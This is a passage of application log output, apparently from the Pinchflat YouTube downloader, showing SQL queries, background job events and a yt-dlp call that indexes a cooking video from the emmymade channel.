m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:00:38.168 [debug] QUERY OK source="media_items" db=4.1ms idle=361.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:00:38.169 [debug] QUERY OK source="tasks" db=0.0ms idle=366.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [467, 1, ~U[2026-07-24 00:00:38Z], ~U[2026-07-24 00:00:38Z]] 00:00:38.169 [info] {"args":{"id":1},"id":464,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":367023,"event":"job:stop","queue_time":56360,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:00:38.804 [info] {"args":{"id":2},"id":465,"meta":{},"system_time":1784851238804193533,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:00:38.804 [debug] QUERY OK source="sources" db=0.0ms idle=635.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:00:38.804 [debug] QUERY OK source="settings" db=0.0ms idle=635.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:00:38.804 [debug] QUERY OK source="media_profiles" db=0.0ms idle=629.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:00:38.804 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:00:38.804 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 00:00:38.964 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:00:38.965 [debug] QUERY OK source="media_items" db=0.3ms idle=160.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:00:38.965 [debug] QUERY OK source="media_items" db=0.2ms idle=161.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:00:38.966 [debug] QUERY OK source="tasks" db=0.0ms idle=161.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [468, 2, ~U[2026-07-24 00:00:38Z], ~U[2026-07-24 00:00:38Z]] 00:00:38.966 [info] {"args":{"id":2},"id":465,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":162080,"event":"job:stop","queue_time":516421,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:00:54.964 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.729 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:01:24.965 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:54.966 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.731 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:02:24.967 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:54.968 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.732 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:03:24.969 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:54.970 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.733 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:04:24.971 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:51.075 [info] {"args":{"id":3},"id":466,"meta":{},"system_time":1784851491075160782,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:04:51.075 [debug] QUERY OK source="sources" db=0.1ms idle=1074.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:04:51.075 [debug] QUERY OK source="settings" db=0.2ms idle=1074.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:04:51.076 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.076 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 00:04:51.728 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:04:51.729 [debug] QUERY OK source="media_items" db=0.2ms idle=653.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:04:51.729 [debug] QUERY OK source="settings" db=0.0ms idle=653.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.729 [debug] QUERY OK source="settings" db=0.0ms idle=653.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.729 [debug] Running yt-dlp command for action: get_media_attributes 00:04:51.729 [debug] QUERY OK source="settings" db=0.0ms idle=653.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.730 [debug] QUERY OK source="settings" db=0.0ms idle=653.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.730 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:04:51.730 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --simulate --skip-download --output /downloads/emmymade/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/53/cd/53cd38096efd9aa3385018b35d8d5cb4b46238b7c3e637ab2d7c7d406268dac3.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:04:54.387 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vg009pFTlhA --simulate --skip-download --output /downloads/emmymade/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/53/cd/53cd38096efd9aa3385018b35d8d5cb4b46238b7c3e637ab2d7c7d406268dac3.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:04:54.388 [debug] QUERY OK source="sources" db=0.1ms idle=1387.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:04:54.391 [debug] QUERY OK source="media_items" db=3.1ms idle=1387.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-24 00:00:17Z], 3] 00:04:54.392 [debug] QUERY OK source="media_items" db=0.8ms idle=1390.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make a DIY version of everyone's favorite childhood cereal Cinnamon Toast Crunch. #emmymade \n\n❤️ Subscribe: http://youtube.com/subscription_center?add_user=emmymadeinjapan\n👩🏻 Website: https://www.emmymade.com/\n🧶 Threads: https://www.threads.net/@emmymade\n🌈 Instagram: http://instagram.com/emmymade\n🙃 Facebook: https://www.facebook.com/itsemmymadeinjapan/\n⏰ Tiktok: https://www.tiktok.com/@emmymadetok\n🏓 Pinterest: https://www.pinterest.com/emmymade/\n🎂 Cameo: https://www.cameo.com/emmymade\n🐝: emmymade extras: https://www.youtube.com/emmymadeextras\n\nToday's recipe https://www.bonappetit.com/recipe/cinnamon-pita-crunch?srsltid=AfmBOorUVrYW1Dl6CHEXOZmsUq_AjQRzS_HZV_vfbGG1W4PEKpBGYTqH inspiration comes from Ham El-Waylly's new book 'Hello, Home Cooking' (Amazon affiliate link): https://a.co/d/0dQ2clpZ\n\nChapters:\n0:00 Introduction\n0:24 What are we making? \n0:36 My childhood favorites.\n1:32 The secret ingredient.\n2:12 Cutting the pita.\n3:24 Baking instructions. \n4:08 Making the glaze. \n7:04 The baked toasts. \n7:38 Coating the toasts. \n8:27 Baking instructions. \n9:11 Finished cereal.\n9:50 Listen to that. \n10:06 Cinnamon sugar time. \n11:03 Taste test. \n\nBurlap & Barrel's Royal Cinnamon (Amazon affiliate link): https://a.co/d/0hkxUf6D\n\nDisclaimer:\nSome of the above links are Amazon affiliate links from which I receive a small commission on each sale at no extra cost to you. Emmymade is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com. \n\nTo find links to the tools and books I use in the kitchen visit my Emmymade Amazon shop: https://www.amazon.com/shop/emmymadeinjapan\n\nMusic courtesy of Audio Network and 'Sprightly' from iMovie. You've made it to the end -- welcome! Comment: \"With cinnamon sugar shakers, we're Cinnamon Toast Crunch bakers.\"", "Make 5-Ingredient Cinnamon Toast Crunch Cereal", "50105db7-92fb-4a77-8e04-d67f5f9480eb", 943, false, "vg009pFTlhA", "https://www.youtube.com/watch?v=vg009pFTlhA", 0, "/downloads/emmymade/2026-07-24 Make 5-Ingredient Cinnamon Toast Crunch Cereal/Make 5-Ingredient Cinnamon Toast Crunch Cereal [vg009pFTlhA].mp4", false, false, false, 3, [], 99, ~U[2026-07-24 00:00:17Z], ~U[2026-07-24 00:04:54Z], ~U[2026-07-24 00:04:54Z], "Let's make a DIY version of everyone's favorite childhood cereal Cinnamon Toast Crunch. #emmymade \n\n❤️ Subscribe: http://youtube.com/subscription_center?add_user=emmymadeinjapan\n👩🏻 Website: https://www.emmymade.com/\n🧶 Threads: https://www.threads.net/@emmymade\n🌈 Instagram: http://instagram.com/emmymade\n🙃 Facebook: https://www.facebook.com/itsemmymadeinjapan/\n⏰ Tiktok: https://www.tiktok.com/@emmymadetok\n🏓 Pinterest: https://www.pinterest.com/emmymade/\n🎂 Cameo: https://www.cameo.com/emmymade\n🐝: emmymade extras: https://www.youtube.com/emmymadeextras\n\nToday's recipe https://www.bonappetit.com/recipe/cinnamon-pita-crunch?srsltid=AfmBOorUVrYW1Dl6CHEXOZmsUq_AjQRzS_HZV_vfbGG1W4PEKpBGYTqH inspiration comes from Ham El-Waylly's new book 'Hello, Home Cooking' (Amazon affiliate link): https://a.co/d/0dQ2clpZ\n\nChapters:\n0:00 Introduction\n0:24 What are we making? \n0:36 My childhood favorites.\n1:32 The secret ingredient.\n2:12 Cutting the pita.\n3:24 Baking instructions. \n4:08 Making the glaze. \n7:04 The baked toasts. \n7:38 Coating the toasts. \n8:27 Baking instructions. \n9:11 Finished cereal.\n9:50 Listen to that. \n10:06 Cinnamon sugar time. \n11:03 Taste test. \n\nBurlap & Barrel's Royal Cinnamon (Amazon affiliate link): https://a.co/d/0hkxUf6D\n\nDisclaimer:\nSome of the above links are Amazon affiliate links from which I receive a small commission on each sale at no extra cost to you. Emmymade is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com. \n\nTo find links to the tools and books I use in the kitchen visit my Emmymade Amazon shop: https://www.amazon.com/shop/emmymadeinjapan\n\nMusic courtesy of Audio Network and 'Sprightly' from iMovie. You've made it to the end -- welcome! Comment: \"With cinnamon sugar shakers, we're Cinnamon Toast Crunch bakers.\"", "Make 5-Ingredient Cinnamon Toast Crunch Cereal", 943, false, "vg009pFTlhA", "https://www.youtube.com/watch?v=vg009pFTlhA", "/downloads/emmymade/2026-07-24 Make 5-Ingredient Cinnamon Toast Crunch Cereal/Make 5-Ingredient Cinnamon Toast Crunch Cereal [vg009pFTlhA].mp4", false, 3, ~U[2026-07-24 00:00:17Z]] 00:04:54.393 [debug] QUERY OK source="sources" db=0.1ms idle=1321.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:04:54.393 [debug] QUERY OK source="media_profiles" db=0.1ms idle=320.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:04:54.393 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12825] 00:04:54.393 [info] Kicking off download for media item #12825 (vg009pFTlhA) 00:04:54.394 [debug] QUERY OK source="tasks" db=0.0ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [469, 12825, ~U[2026-07-24 00:04:54Z], ~U[2026-07-24 00:04:54Z]] 00:04:54.396 [debug] QUERY OK source="media_items" db=1.9ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:04:54.396 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 